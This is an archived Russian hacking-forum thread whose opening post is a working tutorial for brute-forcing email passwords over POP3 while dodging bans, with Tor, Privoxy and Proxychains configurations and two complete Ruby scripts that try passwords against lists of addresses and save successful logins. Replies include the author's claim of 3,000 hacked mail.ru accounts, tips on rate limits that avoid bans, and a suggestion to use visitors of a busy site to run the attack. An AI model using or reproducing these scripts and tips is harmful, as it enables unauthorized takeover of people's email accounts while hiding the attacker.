PDA

Просмотр полной версии : Бессмертный универсальный брутфорс


lukmus
28.12.2009, 04:08
Сам простой способ перебора, избегающий бан - брутфорсить через прокси/соксы.
Однако, для этого приходиться искать прокси или покупать их. Первое нам не подходит т.к. публичные прокси долгие и быстро умерают, а второй не каждый может себе позволить.
Наверное, для многих не секрет, что существует еще один способ - использование 'луковой маршрутизации'.
Для передачи пакета через 'луковый маршрут' используют программу Tor.
Это система, позволяющая устанавливать анонимное сетевое соединение, защищенное от прослушивания. Рассматривается как анонимная сеть, предоставляющая передачу данных в зашифрованном виде. Более подробно про Tor можно прочитать здесь (http://ru.wikipedia.org/wiki/Tor).

Далее я рассмотрю использование tor'а для брутфорса email'ов по протоколу POP3.
Итак, нам понадобиться:
-собственно сам Tor (http://www.torproject.org/);
-Privoxy (http://www.privoxy.org/) — это свободный веб-прокси с расширенными возможностями фильтрования интернет-контента для защиты конфиденциальности (приватности) пользователей сети Интернет, изменения содержания веб-страниц, управления cookies, ограничения доступа к некоторым сайтам и удаления рекламы, баннеров, всплывающих окон, а также любого другого нежелательного контента («интернет-мусора»);
-Proxychains (http://proxychains.sourceforge.net/) - программа, направляющая пакет уровня выше протокола IP, через цепочки заданных proxy(http) или socks(https,smtp,pop3,imap,ftp и др. в стеке протоколов выше IP)

Подробнее о их настройке можете прочитать на их официальных сайтах, в качестве примера, привожу мои настройки:

Tor (/etc/tor/torrc):

DataDirectory /var/lib/tor/.tor
NewCircuitPeriod 1
Group toranon
User toranon


Privoxy (/etc/privoxy/config):

forward-socks4a / 127.0.0.1:9050 .
confdir /etc/privoxy
logdir /var/log/privoxy
actionsfile standard # Internal purpose, recommended
actionsfile default # Main actions file
actionsfile user # User customizations
filterfile default.filter
debug 4096 # Startup banner and warnings
debug 8192 # Errors - *we highly recommended enabling this*

user-manual /usr/share/doc/privoxy/user-manual
listen-address 127.0.0.1:8118
toggle 1
enable-remote-toggle 0
enable-edit-actions 0
enable-remote-http-toggle 0
buffer-limit 4096


Proxychains (/etc/proxychains.conf):

#dynamic_chain
random_chain #случайный сервер
chain_len = 1 #максимальная длина цепи
tcp_read_time_out 20000
tcp_connect_time_out 20000
#список серверов
socks4 127.0.0.1 9050
socks4 127.0.0.1 9050
socks4 127.0.0.1 9050
socks4 127.0.0.1 9050


Примечание: как бы я не пытался но у меня так и не получилось заставить proxychains выстроить цепь из одного сервера, минимум цепочка состояла из двух, для этого я здесь и указал локальный хост несколько раз. Возникает вопрос: а почему бы тогда не указать его 2 раза; отвечу: для того чтобы сделать брутфорс более стабильным т.к. при обнаружении мертвого сервера (такое возможно с локальным хостом если ОС не даст сокет) proxychains возьмет следующий, так вот чтобы он мог брать 4 раза следуюший а не 2, здесь и написано 4 раза.

Далее я приведу код примитивного брутфорса, который будет состоять из 2-х скриптов:
1)скрипт инициирующий соединение, будет запускаться под tor'ом
2)скрипт инициирующий запуск первого скрипта.

1)На входе просит email-адрес, пароль и файл для удачных комбинаций (try_connect.rb)

#!/usr/bin/ruby
require 'net/pop'

n=ARGV.size
if n!=3
puts "Not enought arguments\n <email@addre.ss> <pass> <goodfile>"
exit
end

login=ARGV[0].split('@')[0]
pop_server='pop.'+ARGV[0].split('@')[1]
paswd=ARGV[1]
outfile=ARGV[2]

puts "/#{pop_server}/#{login}/#{paswd}/"
invalid=false
begin
begin
Net::POP3.auth_only(pop_server, 110,login, paswd)
rescue Net::POPAuthenticationError
invalid=true
puts "FAIL /#{ARGV[0]}/#{ARGV[1]}/ #{Time.now}"
end
rescue => e
invalid=true
puts "#{Time.now} can't connect #{e}"
#retry
end

if invalid==false
puts "SUCCESS /#{ARGV[0]}/#{ARGV[1]}/ #{Time.now}"
File.open(outfile,"a") do |sfile|
sfile.puts "#{Time.now} #{ARGV[0]}:#{ARGV[1]}"
end
end


2)На входе просит фаил-список e-mail адресов и файл для удачных комбинаций (get_next.rb)

#!/usr/bin/ruby

n=ARGV.size
if n<1 or n>2
puts "Not enought arguments\n <inputfile> [<outputfile>]"
exit
end


infile=ARGV[0]
if n==1 then outfile=infile+'_out' else outfile=ARGV[1] end

begin
file=File.new(infile)
rescue => e
puts "Inputfile error:#{e}"
end

pass=['yourfirstpass','yoursecondpass','yourthirdpass',' etc']

str=''
no=0
while str!=nil
puts "#{no})"
str=file.gets
if str!=nil
mail=str.to_s.chop!

pass.each do |paswd|
puts "proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}"
system("proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}")
sleep(3) #интервал между запросами
end
end
no+=1
end

file.close


Теперь рассмотрим прицип работы:
-скрипт get_next.rb берет из списка email и дает команду интерпритатору bash: 'proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}'
-bash запускает proxychains
-proxychains запускает try_connect.rb под своим прикрытием т.е. пакет идет на локальный прокси/сокс privoxy, который в свою очередь доверяет маршрутизацию пакета сети Tor, который предусмотрительно меняет свои сервера (в этом можно убедиться запустив браузер под tor'ом, где обновлять страницу скажем 2ip.ru)
-по выше приведенному пути try_connect.rb ведет диалог с pop3-сервером поповоду авторизации

Использовать связку tor-privoxy-proxychains можно для любого брутфорса, работающего на протоколах выше IP, по-мойму кроме ICMP, тем самым можно не писать нудные процедуры посылки пакета через прокси, а написав примитивный брутфорс запускать его под этой связкой.

Примечание: все выше указанное ПО, в том числе скрипты, тестировались только под ОС Linux, однако на офсайтах privoxy,tor и proxychains заявленно что существуют версии и для Windows и для Mac. Приведенные здесь скрипты написанны на Ruby, который в свою очередь тоже являеться кроссплатформенным.
Увеличить скорость работы приведенных скриптов можно добавив многопоточность.

shell_c0de
28.12.2009, 04:40
Креативно, интересная реализация ...
пшел тестит.

Psi.X
28.12.2009, 17:44
Ноды тора тем более в бане.. Из него даже в гугле без капчи не поищешь

.Life
28.12.2009, 18:20
хороша вещь..
но у меня при установке ошибка
file=File.new(infile) - ненайден.

lukmus
28.12.2009, 20:56
хороша вещь..
но у меня при установке ошибка
file=File.new(infile) - ненайден.
это капризы windows'а, ему нужно указать способ работы с файлом, короче надо записать так:
file=File.new(infile,'r') или file=File.new(infile,'rb').
Первый вариант годиться если разметка файла виндовская т.е. перевод строки \r\n, а второй если нормальная т.е. \n.

lukmus
28.12.2009, 20:58
Ноды тора тем более в бане..
приведи хоть одно доказательство, я же могу привести контрпример - 3к взломанных акков маi|.ru.

Psi.X
28.12.2009, 22:53
контрпример - 3к взломанных акков

Неплохо) Но как я уже написал выше - гугл если не всегда, то ОЧЕНЬ часто при первом же запросе просит ввести капчу; если не ошибаюсь на ЛОРе нельзя писать из под тора... читал что есть сайты которые публикуют список нод (да и собственно получать его вручную не составляет проблемы).
А после этой статьи количество сайтов банящих тор только увеличиться )

lukmus
29.12.2009, 01:51
Неплохо) Но как я уже написал выше - гугл если не всегда, то ОЧЕНЬ часто при первом же запросе просит ввести капчу; если не ошибаюсь на ЛОРе нельзя писать из под тора... читал что есть сайты которые публикуют список нод (да и собственно получать его вручную не составляет проблемы).
А после этой статьи количество сайтов банящих тор только увеличиться )
это конечно может и так, однако никто здесь не говорил что этот метод ограничиваеться лишь http, в pop3, smtp, imap, ftp, telnet итд не просят капчу

vvs777
29.12.2009, 02:39
Аналог: фрейм на достаточно посещаемый сайт с замысловатым JS или AJAX, делающем грязную работу. Изврат, но равномерное распределение посетителей по странам гарантировано :D

~Shapaev~
10.04.2010, 00:57
приведи хоть одно доказательство, я же могу привести контрпример - 3к взломанных акков маi|.ru.
немного не в тему , но на майл.ру если идти в 10-15 потоков по диапазону на один пароль , то бан не дают, а вот на других почтовиках твой способ будет норм работать.

lukmus
10.04.2010, 16:03
немного не в тему , но на майл.ру если идти в 10-15 потоков по диапазону на один пароль , то бан не дают, а вот на других почтовиках твой способ будет норм работать.
ну это уже сейчас, когда я делал такого не было

DdoNbAsS
10.04.2010, 17:34
Актуально